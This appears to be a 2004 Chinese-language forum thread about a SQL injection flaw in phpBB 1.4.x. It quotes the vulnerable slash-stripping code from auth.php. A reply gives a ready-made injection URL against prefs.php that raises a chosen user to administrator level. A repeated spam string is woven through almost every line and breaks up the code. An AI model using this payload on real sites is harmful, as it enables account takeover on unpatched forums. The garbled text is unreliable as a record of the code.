citycool 发表于 2004-4-6 17:10
sqp中国域名交易资讯网phpbb
phpBB 是一个开放源码的电子公告牌系统。但是发现它的 phpBB 1.4.X 版本在对变量输入的验证上存在问题。
sqp中国域名交易资讯网sqp中国域名交易资讯网这可能导致对受影响系统的任意 sql 请求被通过。
sqp中国域名交易资讯网sqp中国域名交易资讯网问题在于 phpBB 1.4.X 的 auth.php 文件中有一个运算法则,它会移去 PHP 自动加到 GPC 变量(Get/post/Cookie)的反斜线。
sqp中国域名交易资讯网<Example code from auth.php>
sqp中国域名交易资讯网sqp中国域名交易资讯网sqp中国域名交易资讯网if(get_magic_quotes_gpc() == 1)
sqp中国域名交易资讯网{
sqp中国域名交易资讯网switch($REQUEST_METHOD){
sqp中国域名交易资讯网 case "POST":
sqp中国域名交易资讯网 while (list ($key, $val) = each
sqp中国域名交易资讯网($HTTP_POST_VARS)){
sqp中国域名交易资讯网 if( is_array($val) ){
sqp中国域名交易资讯网 array_walk($val, 'stripslashes_array', '');
sqp中国域名交易资讯网 $$key = $val;}
sqp中国域名交易资讯网 else{
sqp中国域名交易资讯网 $$key = stripslashes($val);}
sqp中国域名交易资讯网 }
sqp中国域名交易资讯网 break;
sqp中国域名交易资讯网sqp中国域名交易资讯网sqp中国域名交易资讯网</ End example code>
sqp中国域名交易资讯网sqp中国域名交易资讯网sqp中国域名交易资讯网一个朋友发给我的...闷闷~~~~
我本豪情 发表于 2004-4-6 17:19sqp中国域名交易资讯网
可以利用?
citycool 发表于 2004-4-6 17:47sqp中国域名交易资讯网
是的。。但是是1.4 x 旧版的才行。。现在官方的2.0.3 #_# 晕~~~。。
sqp中国域名交易资讯网sqp中国域名交易资讯网[url]http://sitename/phpBBfolder/prefs.php?save=1[/url]
sqp中国域名交易资讯网&viewemail=1',user_level%3D'4'%20where%
sqp中国域名交易资讯网20username%3D'l337h4x0r'%23
loguin 发表于 2004-4-7 00:33sqp中国域名交易资讯网
现在都2.08了
mac 发表于 2004-4-7 08:16sqp中国域名交易资讯网
这个BUG也太OOOOOOOOOOOLD了
chht 发表于 2004-4-7 08:46sqp中国域名交易资讯网
哈哈~~~
gary9912 发表于 2004-4-7 12:24sqp中国域名交易资讯网
cnphpbb.com
sqp中国域名交易资讯网sqp中国域名交易资讯网这里的是旧版的,...
sqp中国域名交易资讯网sqp中国域名交易资讯网